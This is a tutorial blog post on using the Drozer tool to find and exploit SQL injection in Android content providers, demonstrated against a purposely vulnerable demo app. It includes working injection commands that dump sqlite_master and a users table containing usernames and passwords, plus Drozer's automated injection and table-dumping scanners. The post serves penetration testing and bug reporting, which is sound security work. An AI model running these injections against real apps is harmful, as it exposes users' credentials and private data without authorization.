Finding Content Provider Exploits with Drozer

Scott Cosentino
4 min readMay 9, 2024

--

In Android, a content provider is a component used to manage access to data. Often, a content provider allows other applications to query an application’s data, running create, read, update, and delete queries. Content providers will usually run queries against a SQLite database, meaning there is a potential for SQL injection. In this article, we will explore SQL injections in content providers and learn how to use Drozer to find and exploit these issues.

Content Provider Basics

For this tutorial, we will use a purposefully vulnerable Android application. Download the application APK and install it on your device.

After installing the application, open the application on your device. When the application loads for the first time, it creates the application database and initializes it with some data. To send a request to a content provider, you can use a content query command. This command accepts the following four arguments:

  • uri: The URI associated with the content provider you are trying to query
  • projection: The fields you want to see in the data. This is the content that comes between the SELECT and FROM keywords in a SQL query (ex: SELECT projection FROM table)
  • where: The filter you want to apply to your data. This is the equivalent of a where condition in a SQL query
  • sort: The field and ordering to sort the data with. This is equivalent to the text that follows at order by clause in a SQL query

To start, let’s construct a simple query that only provides a URI. For this process, we first need to determine the URIs associated with an application. Drozer provides us with a simple command that tells us all of the available URIs in an application. To start, connect Drozer to your device using the following command:

docker run -it --add-host host.docker.internal:host-gateway withsecurelabs/drozer console connect --server host.docker.internal

After connecting Drozer, run the following command to find all of the available content provider URIs:

run scanner.provider.finduris -a com.example.drozerdemo

In this command, the package name of the application we want to scan is the only argument provided. For this example, we are using the package name of the demo vulnerable application. You can replace this package name with any application package you wish to scan. When this command completes, you will see one accessible URIs listed for the application: content://com.example.drozerdemo.databaseProvider/. With this, we now have enough information to send a simple query to the content provider. This can be done in Drozer with the following command:

run app.provider.query content://com.example.drozerdemo.databaseProvider

When you run this command, you will see some data output to the screen. This data appears to be a setting option that can be toggled on or off. For this application, the data for the content provider is retrieved using a query that looks like this:

SELECT * FROM settings;

As we previously mentioned, it is possible to provide data to add to this query. The first way we can do this is using a query projection.

Injections on Query Projections

When you provide data for a query projection, the data is added between the select and from in the SQL query. For example, we can add a projection to our current content provider:

run app.provider.query content://com.example.drozerdemo.databaseProvider --projection setting

Adding this projection changes our query to:

SELECT setting FROM settings;

Notice that this projection arguments accepts anything we provide. If we could modify this query to send a request to a different table, we could leak the contents of the database. Consider that the sqlite_master table contains a list of all tables in the database. If we provide a projection of:

run app.provider.query content://com.example.drozerdemo.databaseProvider --projection "* from sqlite_master; --"

Our query would become:

SELECT * from sqlite_master; -- FROM settings;

Which would return the contents of the sqlite_master table. Give this a try and see the results! This lets us see all of the tables in the database. With this information, we can redirect the query to a table that seems interesting. For example:

run app.provider.query content://com.example.drozerdemo.databaseProvider --projection "* from users; --"

This query would expose the contents of the user table, which contains usernames and passwords. This would be a breach in confidentiality, making it a valid vulnerability to report!

Let Drozer Automate the Testing

The process I demonstrated in the previous section was fairly manual in nature. Drozer provides a set of commands to help us automate this process. To check if a content provider has a SQL injection, simply run the following command:

run scanner.provider.injection -a com.example.drozerdemo

This command will reveal to us that there is a vulnerability in the databaseProvider content provider. To find all of the tables that are in the database, we can use a different Drozer command:

run scanner.provider.sqltables -a com.example.drozerdemo

This will leak the contents of the SQLite tables associated with the vulnerable content providers, much like our manual queries to sqlite_master

Wrapping Up

In this article, you saw that Drozer can scan applications for SQL injections, as well as display information about SQLite tables if a SQL injection exists. This functionality only scratches the surface of Drozer’s capabilities. To learn more about Drozer, check out our course on Android penetration testing!

--

--

Scott Cosentino
Scott Cosentino

No responses yet